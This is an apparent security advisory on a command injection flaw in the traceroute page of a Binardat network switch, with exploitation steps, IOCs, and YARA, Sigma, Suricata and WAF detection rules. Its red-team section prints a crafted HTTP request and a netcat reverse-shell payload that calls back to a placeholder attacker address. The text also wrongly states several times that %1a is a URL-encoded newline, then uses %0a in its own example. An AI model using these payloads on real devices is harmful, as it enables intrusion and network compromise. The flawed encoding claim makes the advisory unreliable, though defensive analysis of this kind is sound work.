CVE-2026-23678

POC_DETAILS: None

Executive Summary

CVE-2026-23678 is a critical command injection vulnerability discovered in the Binardat 10G08-0800GSM network switch firmware version V300SP10260209 and prior. The flaw resides in the traceroute diagnostic function of the device's web management interface. By injecting the %1a character (URL-encoded newline) into the hostname parameter, an authenticated attacker can execute arbitrary CLI commands on the underlying operating system. This allows for full device compromise, including data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is critical.

CVSS Breakdown & Threat Level

The CVSS vector string is derived from the vulnerability characteristics:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs authenticated access to the web interface.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – full data access.
• Integrity (I): High (H) – full system modification.
• Availability (A): High (H) – full denial of service.

CVSS Score: 8.8 (High) – based on the vector above. The NVD score of 0.0 is an error.

Threat Level: Critical. The vulnerability allows authenticated remote code execution with low complexity. Given the device's role as a network switch, exploitation can lead to complete network compromise.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the traceroute diagnostic function. The web management interface accepts a hostname parameter to perform a traceroute. The input is not properly sanitized or escaped before being passed to a shell command. The %1a character is a URL-encoded newline (\n), which allows the attacker to break out of the intended command and inject arbitrary commands.

Root Cause: The application likely constructs a shell command like:

traceroute <user_input>

Without proper input validation, an attacker can inject:

traceroute legitimate_host%1a<malicious_command>

The %1a decodes to a newline, causing the shell to interpret <malicious_command> as a separate command.

Attack Flow:

1. Attacker authenticates to the web management interface.
2. Attacker sends a crafted HTTP request to the traceroute endpoint with a hostname parameter containing %1a followed by a malicious command.
3. The device executes the injected command with the privileges of the web server (typically root or a privileged user).
4. Attacker gains remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// vulnerable.php
$hostname = $_POST['hostname'];
$output = shell_exec("traceroute " . $hostname);
echo $output;

Patched Code (Conceptual):

// patched.php
$hostname = $_POST['hostname'];
// Validate input: only allow alphanumeric, dots, and hyphens
if (preg_match('/^[a-zA-Z0-9.-]+$/', $hostname)) {
    $output = shell_exec("traceroute " . escapeshellarg($hostname));
    echo $output;
} else {
    echo "Invalid hostname.";
}

The patched version uses escapeshellarg() to properly escape the input and adds input validation to reject any non-standard characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Binardat 10G08-0800GSM switch with firmware V300SP10260209 or prior.
• Valid credentials for the web management interface (e.g., admin/admin).

Exploitation Steps:

1. Identify the target switch and obtain credentials (e.g., via default passwords or phishing).
2. Send a POST request to the traceroute endpoint:

   POST /cgi-bin/traceroute.cgi HTTP/1.1
   Host: <target_ip>
   Content-Type: application/x-www-form-urlencoded
   Cookie: <session_cookie>
   
   hostname=127.0.0.1%0aid
   

   The %0a is a newline character (alternative to %1a).
3. The response will contain the output of the id command, confirming RCE.
4. Execute a reverse shell:

   hostname=127.0.0.1%0anohup nc -e /bin/sh <attacker_ip> 4444 &
   

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection:

• Monitor web server logs for unusual hostname parameters containing %0a, %1a, or other control characters.
• Look for POST requests to /cgi-bin/traceroute.cgi with suspicious payloads.
• Use network monitoring to detect outbound connections from the switch to unknown IPs on unusual ports (e.g., 4444).

Hunting:

• Search for processes spawned by the web server (e.g., traceroute, nc, bash).
• Check for unauthorized user accounts or SSH keys on the device.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the switch to external IPs on ports 4444, 1337, or other high ports.
  • HTTP requests containing %0a or %1a in the hostname parameter.
• Host:
  • Unexpected processes: nc, nohup, bash, python, perl.
  • Modified or new files in /tmp/, /var/run/, or /etc/.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.
• Logs:
  • Web server logs showing hostname=127.0.0.1%0aid or similar patterns.
  • System logs showing execution of traceroute with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2026_23678_Command_Injection {
    meta:
        description = "Detects command injection attempts against Binardat 10G08-0800GSM traceroute function"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23678"
    strings:
        $injection1 = /hostname=[^&]*%[0-9a-fA-F]{2}[^&]*/
        $injection2 = /hostname=[^&]*\n[^&]*/
        $traceroute = "traceroute.cgi"
    condition:
        $traceroute and ($injection1 or $injection2)
}

Sigma Rule

title: CVE-2026-23678 - Binardat Switch Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts against Binardat 10G08-0800GSM traceroute function
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23678
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/traceroute.cgi'
        cs-uri-query|contains: 'hostname='
    filter:
        cs-uri-query|re: 'hostname=[a-zA-Z0-9.-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate traceroute requests with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-23678 - Binardat Switch Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/traceroute.cgi"; http_uri; content:"hostname="; http_client_body; pcre:"/hostname=[^&]*%[0-9a-fA-F]{2}[^&]*/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: If possible, disconnect the switch from the network or restrict access to the web management interface to trusted IPs only.
2. Change default credentials: Ensure strong, unique passwords are used for the web interface.
3. Disable traceroute function: If the device allows, disable the traceroute diagnostic feature via configuration.

Long-term Fix:

• Vendor patch: Await an official firmware update from Binardat. As of now, no patch is available.
• Workaround: Implement a reverse proxy or WAF (Web Application Firewall) in front of the switch to filter out malicious hostname parameters. Example WAF rule:

  SecRule ARGS:hostname "!@rx ^[a-zA-Z0-9.-]+$" "id:1000,phase:2,deny,status:403,msg:'CVE-2026-23678 Command Injection Attempt'"
  

Compromise Assessment:

• If exploitation is suspected, perform a full forensic analysis of the switch (logs, processes, files).
• Rotate all credentials that may have been exposed.
• Monitor for lateral movement from the switch to other network devices.

Valters IT